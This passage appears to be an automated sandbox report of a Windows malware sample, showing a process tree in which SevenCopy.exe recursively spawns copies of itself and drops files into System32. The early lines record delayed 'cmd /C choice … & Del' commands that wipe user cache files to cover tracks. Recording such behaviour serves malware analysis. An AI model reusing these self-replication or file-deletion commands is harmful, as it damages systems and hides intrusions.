C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 39⤵PID:8672
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"8⤵
- Executes dropped EXE
PID:5440 -
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133587652094676051.txt"9⤵PID:1140
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 310⤵PID:16416
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133587652381093585.txt"9⤵PID:15700
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 310⤵PID:16560
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_720_POS4.jpg"9⤵PID:16576
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 310⤵PID:16832
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.0.filtertrie.intermediate.txt"9⤵PID:15884
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 310⤵PID:5968
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.1.filtertrie.intermediate.txt"9⤵PID:15596
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 310⤵PID:16672
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.2.filtertrie.intermediate.txt"9⤵PID:14984
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 310⤵PID:3508
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"9⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:15272 -
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133587652094676051.txt"10⤵PID:16776
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 311⤵PID:15100
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133587652381093585.txt"10⤵PID:15932
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 311⤵PID:5428
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_720_POS4.jpg"10⤵PID:15308
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 311⤵PID:4100
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.0.filtertrie.intermediate.txt"10⤵PID:16648
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 311⤵PID:12656
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.1.filtertrie.intermediate.txt"10⤵PID:16600
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 311⤵PID:13260
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.2.filtertrie.intermediate.txt"10⤵PID:16772
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 311⤵PID:6104
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"10⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:14568 -
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133587652094676051.txt"11⤵PID:6268
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 312⤵PID:1500
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133587652381093585.txt"11⤵PID:10940
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 312⤵PID:7380
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_720_POS4.jpg"11⤵PID:11608
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 312⤵PID:10016
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.0.filtertrie.intermediate.txt"11⤵PID:3532
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 312⤵PID:15068
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.1.filtertrie.intermediate.txt"11⤵PID:12768
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 312⤵PID:10756
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.2.filtertrie.intermediate.txt"11⤵PID:13772
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 312⤵PID:7840
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"11⤵
- Executes dropped EXE
PID:6644 -
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_720_POS4.jpg"12⤵PID:17000
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 313⤵PID:13396
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.1.filtertrie.intermediate.txt"12⤵PID:3472
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 313⤵PID:6052
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.2.filtertrie.intermediate.txt"12⤵PID:15228
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 313⤵PID:12448
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"12⤵
- Executes dropped EXE
PID:13464 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"13⤵
- Executes dropped EXE
PID:10128 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"14⤵
- Executes dropped EXE
PID:11972 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"15⤵
- Executes dropped EXE
PID:6416 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"16⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:5624 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"17⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:9112 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"18⤵
- Executes dropped EXE
PID:12920 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"19⤵
- Executes dropped EXE
PID:13056 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"20⤵
- Checks computer location settings
- Executes dropped EXE
PID:9300 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"21⤵
- Executes dropped EXE
PID:876 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"22⤵
- Executes dropped EXE
PID:11164 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"23⤵
- Executes dropped EXE
PID:13584 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"24⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:5908 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"25⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:15224 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"26⤵
- Executes dropped EXE
PID:15892 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"27⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:17092 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"28⤵
- Executes dropped EXE
PID:16328 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"29⤵
- Checks computer location settings
- Executes dropped EXE
PID:14948 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"30⤵
- Executes dropped EXE
PID:5640 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"31⤵
- Executes dropped EXE
PID:1740 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"32⤵
- Executes dropped EXE
PID:15956 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"33⤵
- Executes dropped EXE
PID:17060 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"34⤵
- Executes dropped EXE
PID:16128 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"35⤵
- Executes dropped EXE
PID:17052 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"36⤵
- Executes dropped EXE
PID:15540 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"37⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:4140 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"38⤵
- Executes dropped EXE
PID:15520 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"39⤵
- Executes dropped EXE
PID:17236 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"40⤵
- Executes dropped EXE
PID:16268 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"41⤵
- Executes dropped EXE
PID:14576 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"42⤵
- Executes dropped EXE
PID:13716 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"43⤵
- Checks computer location settings
- Executes dropped EXE
PID:15152 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"44⤵
- Executes dropped EXE
PID:14872 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"45⤵
- Executes dropped EXE
PID:16076 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"46⤵
- Executes dropped EXE
PID:2160 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"47⤵
- Executes dropped EXE
PID:11932 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"48⤵
- Checks computer location settings
- Executes dropped EXE
PID:16176 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"49⤵
- Executes dropped EXE
PID:17044 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"50⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:17004 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"51⤵
- Executes dropped EXE
PID:11956 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"52⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:9360 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"53⤵
- Executes dropped EXE
PID:16140 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"54⤵
- Executes dropped EXE
PID:16508 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"55⤵
- Executes dropped EXE
PID:17100 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"56⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:16064 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"57⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:16696 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"58⤵
- Executes dropped EXE
PID:11556 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"59⤵
- Executes dropped EXE
PID:3932 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"60⤵
- Executes dropped EXE
PID:14916 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"61⤵
- Executes dropped EXE
PID:9044 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"62⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:8948 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"63⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:7480 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"64⤵PID:9640
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"65⤵PID:13032
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"66⤵PID:10252
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"67⤵PID:8472
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"68⤵
- Checks computer location settings
PID:8832 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"69⤵PID:12140
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"70⤵PID:7712
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"71⤵PID:5828
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"72⤵
- Checks computer location settings
PID:8828 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"73⤵PID:12780
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"74⤵PID:13232
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"75⤵
- Drops file in System32 directory
PID:8600 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"76⤵PID:7716
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"77⤵PID:13768
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"78⤵PID:9680
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"79⤵PID:9352
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"80⤵PID:10188
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"81⤵PID:7076
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"82⤵PID:5272
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"83⤵PID:5552
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"84⤵PID:13432
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"85⤵
- Drops file in System32 directory
PID:12204 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"86⤵PID:13996
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"87⤵PID:13840
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"88⤵PID:7272
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"89⤵PID:8900
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"90⤵PID:10092
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"91⤵
- Checks computer location settings
PID:12576 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"92⤵PID:5536
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"93⤵
- Checks computer location settings
- Drops file in System32 directory
PID:8972 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"94⤵PID:4700
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"95⤵PID:6636
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"96⤵
- Drops file in System32 directory
PID:5484 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"97⤵
- Drops file in System32 directory
PID:7532 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"98⤵PID:8144
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"99⤵PID:7236
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"100⤵
- Drops file in System32 directory
PID:7336 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"101⤵
- Drops file in System32 directory
PID:5164 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"102⤵PID:11472
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"103⤵PID:13012
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"104⤵
- Checks computer location settings
PID:13028 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"105⤵
- Checks computer location settings
PID:6284 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"106⤵PID:7092
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"107⤵PID:12984
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"108⤵PID:10112
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"109⤵PID:12048
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"110⤵
- Checks computer location settings
PID:11696 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"111⤵PID:6000
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"112⤵PID:7952
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"113⤵PID:11052
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"114⤵PID:11988
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"115⤵
- Checks computer location settings
PID:7500 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"116⤵PID:8368
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"117⤵PID:9716
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"118⤵PID:9472
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"119⤵
- Checks computer location settings
PID:9444 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"120⤵PID:13956
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"121⤵PID:6992
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"122⤵PID:9792
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"123⤵PID:7116
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"124⤵PID:8320
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"125⤵
- Checks computer location settings
- Drops file in System32 directory
PID:6700 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"126⤵PID:11500
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"127⤵PID:8896
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"128⤵PID:8764
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"129⤵PID:17940
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"130⤵PID:19144
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"131⤵PID:18368
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"132⤵PID:18848
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"133⤵
- Drops file in System32 directory
PID:19428 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"134⤵
- Checks computer location settings
PID:4756 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"135⤵
- Checks computer location settings
PID:936 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"136⤵PID:18812
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"137⤵PID:18424
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"138⤵PID:2404
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"139⤵
- Checks computer location settings
PID:17740 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"140⤵
- Checks computer location settings
PID:18896 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"141⤵PID:18404
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"142⤵PID:18200
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"143⤵PID:19096
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"144⤵PID:14332
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"145⤵PID:5064
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"146⤵PID:9732
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"147⤵
- Drops file in System32 directory
PID:892 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"148⤵PID:4352
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"149⤵
- Checks computer location settings
PID:5248 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"150⤵
- Drops file in System32 directory
PID:15200 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"151⤵PID:15052
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"152⤵
- Drops file in System32 directory
PID:7368 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"153⤵
- Checks computer location settings
PID:18940 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"154⤵PID:1640
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"155⤵
- Checks computer location settings
PID:4200 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"156⤵PID:16840
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"157⤵
- Drops file in System32 directory
PID:11616 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"158⤵
- Checks computer location settings
PID:14568 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"159⤵PID:18968
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"160⤵PID:18340
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"161⤵
- Checks computer location settings
- Drops file in System32 directory
PID:15020 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"162⤵
- Drops file in System32 directory
PID:6420 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"163⤵PID:1060
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"164⤵
- Drops file in System32 directory
PID:13464 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"165⤵
- Checks computer location settings
PID:4288 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"166⤵
- Checks computer location settings
PID:18028 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"167⤵
- Drops file in System32 directory
PID:10264 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"168⤵PID:12712
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"169⤵PID:7660
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"170⤵PID:6308
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"171⤵PID:3828
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"172⤵PID:7396
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"173⤵PID:3716
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"174⤵PID:3468
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"175⤵
- Drops file in System32 directory
PID:3252 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"176⤵
- Checks computer location settings
PID:6908 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"177⤵
- Drops file in System32 directory
PID:14348 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"178⤵
- Checks computer location settings
PID:7548 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"179⤵
- Checks computer location settings
PID:11408 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"180⤵
- Checks computer location settings
PID:14280 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"181⤵PID:5856
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"182⤵PID:6008
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"183⤵PID:5316
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"184⤵PID:5976
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"185⤵
- Checks computer location settings
PID:8276 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"186⤵PID:1344
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"187⤵
- Checks computer location settings
PID:14884 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"188⤵
- Checks computer location settings
- Drops file in System32 directory
PID:6804 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"189⤵
- Checks computer location settings
PID:15536 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"190⤵
- Checks computer location settings
PID:6744 -
